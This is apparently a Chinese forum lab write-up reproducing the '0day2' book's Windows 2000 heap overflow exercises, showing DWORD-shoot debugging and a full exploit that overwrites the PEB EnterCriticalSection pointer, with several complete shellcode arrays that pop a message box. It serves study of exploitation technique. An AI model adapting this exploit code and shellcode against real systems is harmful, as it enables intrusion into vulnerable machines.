好久没有发帖子啦!最近一直很忙!但是还是抽空学习啦下!

前段时间匆匆忙忙的把0day2上的堆溢出实验做啦!

可能当时太浮躁啦,很多细节没注意!结果:实验结果很不满意!所以就有啦这一篇!!

上一篇是发布在cnblogs.com的。后来管理提醒我,我们不讨论这种技术!旧书重温:0day2【7】堆溢出实验(很失败的一篇)

所以来 F4ck 发布吧!

0day2第五篇 堆溢出利用!

这章节,我细读啦不下3遍!

但是还是感觉有些生疏,所以要想把这个实验做好!一定要把此章节搞明白!

文章开始

0x01. 0day2第五篇 堆溢出利用!  多看几遍,弄清楚!

0x02 此次环境 vc6 + windows2000 + od

0x03 第一个实验 空表再分配新堆时(从空表上卸下一块,分配新堆时的)dword shoot,此次试验只是调试中体会dword shoot,

原理:空表是双向的

<ignore_js_op> 
<ignore_js_op>

总结:在链表卸下时, 假造的node的FLink的值将写入到BLink的地址处(Flink = Forward前 link ,指向高地址; BLink = Behind 后 Link,指向低地址)

代码:

  1. HANDLE hp;
  2. HLOCAL h1,h2,h3,h4,h5,h6;
  3. // 堆空表卸载时的dword shoot
  4. //1 断点
  5. __asm int 3
  6. hp = HeapCreate(0,0x1000,0x10000); // 创建新的堆,不可扩展的堆 只存在空表
  7. //2 申请6个8 字节的堆内存
  8. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  9. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  10. h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  11. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  12. h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  13. h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
  14. //3 释放1 3 5 这时 空表第3项 即 free[2] 上会有3个彼此相连的node (申请的8字节 在加上头信息共16字节所以16/8 = 2,连入 free[2] )
  15. HeapFree(hp,0,h1);
  16. HeapFree(hp,0,h3);
  17. HeapFree(hp,0,h5);
  18. //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值
  19. //5 sheng qing 8 byte new dui  -> dword shoot
  20. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

复制代码

注意一定要replease模式生成,然后运行,od调试

<ignore_js_op>

下载od已经断在啦 int 3 处;nop掉 往下走 注意 hp h1,h2,h3,h4,h5,h6 的数值

神器od已经将 代码注释的很完美啦

我就不演示调试过程啦

直接来到  //4 这时候 h5 是free[2] 最后一项,如果再分配8字节的堆内存,会将h5卸下来,这时就存在dowrd shoot,执行到这步停下来,修改h5的值

我们开始手动修改 h5

<ignore_js_op>

此时我的PC的h5是003E06C8

在数据区 Ctrl+G l来到 003E06C8 处 ,这就是h5内存的起始地址,其实h5应该包含头部 我已经阴影标注 共16字节

继续执行下去 来到 h5释放后

<ignore_js_op>

这时的h5(003E06C8)处已经变了样!

阴影处是FLink 后边的是BLink

我们修改下 Flink 修改为4444,Blink 为0000,(因为卸下是将 会 44444写入到00000处,会报错)

<ignore_js_op>

将od的调试设置下!把忽略全去掉

继续F8 ,触发断点

<ignore_js_op>

仔细观察

MOV DWORD PTR DS:[EDX],ECX

此时 ecx 44444444; edx 00000000

验证完毕

0x04 第二个实验 StackAttackEnterCriticalSectionPointer

狙击 EnterCriticalSectionPointer 指针

为神马搞这个指针呢 !

<ignore_js_op>

指针在哪里呢

<ignore_js_op>

首先自己找到 这个指针

  1. __asm
  2. {
  3. xor eax,eax
  4. mov eax,fs:[eax+0x30] //peb
  5. lea eax,[eax+0x20]    //EnterCriticalSectionPointer
  6. mov eax,[eax]                  //EnterCriticalSection addr  这个是这个函数的地址
  7. }

复制代码

<ignore_js_op>

EnterCriticalSectionPointer  0x7ffdf020

  1. char shellcode[] =  //this my shellcode msg  ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  6. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  7. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  8. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  9. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  10. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  11. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  12. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  13. "\xFC\x53\xFF\x57\xF8"\
  14. "\x90\x90\x90"\
  15. "\x16\x01\x1A\x00\x00\x10\x00\x00"\
  16. "\x88\x06\x36\x00\x20\xF0\xFD\x7F";        //20 nop
  17. //"\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90";        //20 nop
  18. HLOCAL h1=0,h2=0;
  19. HANDLE hp;
  20. hp = HeapCreate(0,0x1000,0x10000);
  21. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,208); // 208 因为我的msg len 长啦!调试需要
  22. memcpy(h1,shellcode,0x200); //0x200 = 512
  23. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

复制代码

原理
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op>

首先我们来定位
shllcode 修改为

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  4. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  5. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  6. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  7. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  8. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  9. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  10. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  11. "\xFC\x53\xFF\x57\xF8"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                  216
  16. // 181 +20 + 8 + 20

复制代码

<ignore_js_op>

我们看到h1是 360688

内存 我已经阴影标注啦

其中红色部分是 hp分配 h1后,剩下的部分 node 指向free[0]

如果在分配就会改变此处(红色标记处)如果我们通过memcpy代码覆盖掉这部分,就可以狙击 EnterCriticalSectionPointer

下面是 memcpy后的 内存情况

<ignore_js_op>

比较上一图 我们发现 红色部分被我们的 91 -98 控制啦 那么91 -98 就是我们 修改的关键

如果修改呢 根据F =》B的原理 我们把 91-94不知为我们shellcode 地址 也就是 h1地址 360688

将 B 部分 95 -98 为 EnterCriticalSectionPointer 7FFDF020

  1. char shellcode[] =  //this my shellcode MSG  ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  4. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  5. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  6. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  7. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  8. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  9. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  10. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  11. "\xFC\x53\xFF\x57\xF8"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

<ignore_js_op>

我们已经控制啦

调试发现会存在 书中所说的 2次 dword shoot 造成我们的shllcode偏移 4字节处被污染!

我们将shellcode头部填充20 nop 验证下

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  5. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  6. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  7. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  8. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  9. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  10. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  11. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  12. "\xFC\x53\xFF\x57\xF8"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

将 下面的20 个 nop提到头部

<ignore_js_op>

<ignore_js_op>

红色部分 就是 2次dword的污染

<ignore_js_op>

还好 无关紧要

接下来解决问题,恢复被我们修改的EnterCriticalSectionPointer

__asm
        {
                xor eax,eax
                mov eax,fs:[eax+0x30] //peb
                lea eax,[eax+0x20]
                mov eax,[eax]     //这就是 EnterCriticalSection 地址啦 77F82060 (徐调试)

}
这实验 我就不做啦

以下code是修复 的代码

  1. char shellcode[] =  //this my shellcode MSG ; Len is 181
  2. // 1   2   3   4   x   x   x   x |mov eax,0x7FFDF020| mov ebx,77F82060   |mov[eax],ebx
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  4. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  5. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  6. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  7. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  8. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  9. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  10. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  11. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  12. "\xFC\x53\xFF\x57\xF8"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90"\
  14. "\x90\x90\x90\x90\x90\x90\x90\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  15. //209                                                   91 92   93  94  95  96  97  98
  16. // 181 +20 + 8 + 20

复制代码

到现在 还没有成功!

接下来就是修复下  尾块的头 现在尾块被我们的数据覆盖为啦90909090当然不对,所以异常

直接copy没被破坏的头结构

00360758  15 01 1B 00 00 10 00 00

先试试这个吧

修改啦还是不行 可能 还是2次 dowrd shoot 的脏数据问题

但是据说 那几句代码 可以忽略

为了保险 在产生脏数据的后面放4个 nop

最后的

  1. //2 stack overflow
  2. char shellcode[] =  //this my shellcode MSG ; Len is 181
  3. // 1   2   3   4   x   x   x   x                 |mov eax,0x7FFDF020| mov ebx,77F82060   |mov[eax],ebx
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18"\
  5. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  6. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  7. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  8. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  9. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  10. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  11. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  12. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  13. "\xFC\x53\xFF\x57\xF8"\
  14. "\x90\x90\x90\x15"\
  15. "\x01\x1b\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xF0\xFD\x7F\x99\x90\x90\x90\x90";        //20 nop
  16. //209                                                   91 92   93  94  95  96  97  98
  17. // 181 +20 + 8 + 20

复制代码

去掉int 3 直接运行

当当当  msg 出来啦

<ignore_js_op>

旧书重温:0day2【10】第五章 堆溢出利用2的更多相关文章

  1. windows2000 堆溢出 利用原理

    源于0day安全一书 1.堆的分配原理 申请堆空间   HANDLE address =  HeapCreate(0,0x1000,0x10000) address就是堆的地址 在address+0x ...

  2. 《数据结构与算法分析:C语言描述》复习——第五章“堆”——二叉堆

    2014.06.15 22:14 简介: 堆是一种非常实用的数据结构,其中以二叉堆最为常用.二叉堆可以看作一棵完全二叉树,每个节点的键值都大于(小于)其子节点,但左右孩子之间不需要有序.我们关心的通常 ...

  3. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...

  4. linux下堆溢出unlink的一个简单例子及利用

    最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...

  5. 堆溢出学习笔记(linux)

    本文主要是linux下堆的数据结构及堆调试.堆溢出利用的一些基础知识 首先,linux下堆的数据结构如下 /* This struct declaration is misleading (but a ...

  6. Linux 堆溢出原理分析

    堆溢出与堆的内存布局有关,要搞明白堆溢出,首先要清楚的是malloc()分配的堆内存布局是什么样子,free()操作后又变成什么样子. 解决第一个问题:通过malloc()分配的堆内存,如何布局? 上 ...

  7. 利用DWORD SHOOT实现堆溢出的利用(先知收录)

    原文链接:https://xz.aliyun.com/t/4009 1.0 DWORD SHOOT是什么捏? DWORD SHOOT指能够向内存任意位置写入任意数据,1个WORD=4个bytes,即可 ...

  8. Windwos堆管理体系以及溢出利用

    <0day安全>学习笔记,主要讨论WIndows2000~WIndowsSP1平台的堆管理策略. 0X01 堆与栈的区别 栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间.典型的栈 ...

  9. 旧书重温:0day2【7】堆溢出实验

    相关文章我拍成了照片,放在了我的QQ空间不是做广告(一张一张的传太麻烦了)http://user.qzone.qq.com/252738331/photo/V10U5YUk2v0ol6/    密码9 ...

随机推荐

  1. 437. Path Sum III(路径可以任意点开始,任意点结束)

    You are given a binary tree in which each node contains an integer value. Find the number of paths t ...

  2. how can i get the source code path && file names from an ELF file(compired with -g)?

    https://stackoverflow.com/questions/31333337/how-can-i-get-the-source-code-path-file-names-from-an-e ...

  3. Codeforces Round #395 (Div. 2) C. Timofey and a tree

    地址:http://codeforces.com/contest/764/problem/C 题目: C. Timofey and a tree time limit per test 2 secon ...

  4. 求组合数的方法:转载自VincentCZW的博客

    遇到了就查了下:地址:http://www.cnblogs.com/BeyondAnyTime/archive/2012/05/18/2508189.html 求一个组合数Cnm的值,Cnm= n! ...

  5. netty4----netty5的客户端和服务端

    服务端: package com.server; import io.netty.bootstrap.ServerBootstrap; import io.netty.channel.Channel; ...

  6. 在HI3531上移植和运行QT4.8.6

    在HI3531上移植和运行QT4.8.6 1.            前言: 近段有点时间,想把QT移植到HI3531上,在网上查找了很多资料,但都不是很全面,有些有问题也没有得到很好的体现. 2.  ...

  7. 基于SSM的单点登陆05

    springmvc.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns=" ...

  8. SQL-ALTER-change和modify区别

      ALTER 对于列的应用:   1.更改列名      格式:CHANGE old_col_name new_col_name column_definition      保留old和new列名 ...

  9. Oracle 伪列

    ROWNUM ROWNUM:表示行号,实际上此是一个列,但是这个列是一个伪列,此列可以在每张表中出现. 范例:在查询雇员表上,加入 ROWNUM SELECT ROWNUM,empno,ename,j ...

  10. ThinkPHP开发博客系统笔记之二

    1. 登陆验证码 当用户登陆的时候我们希望也弹出验证码,有两种方法可以实现:一是再增加一个弹出验证码的dialog,二是和注册共用一个验证码dialog.第一种方法有大量重复代码,所以我们使用第二种方 ...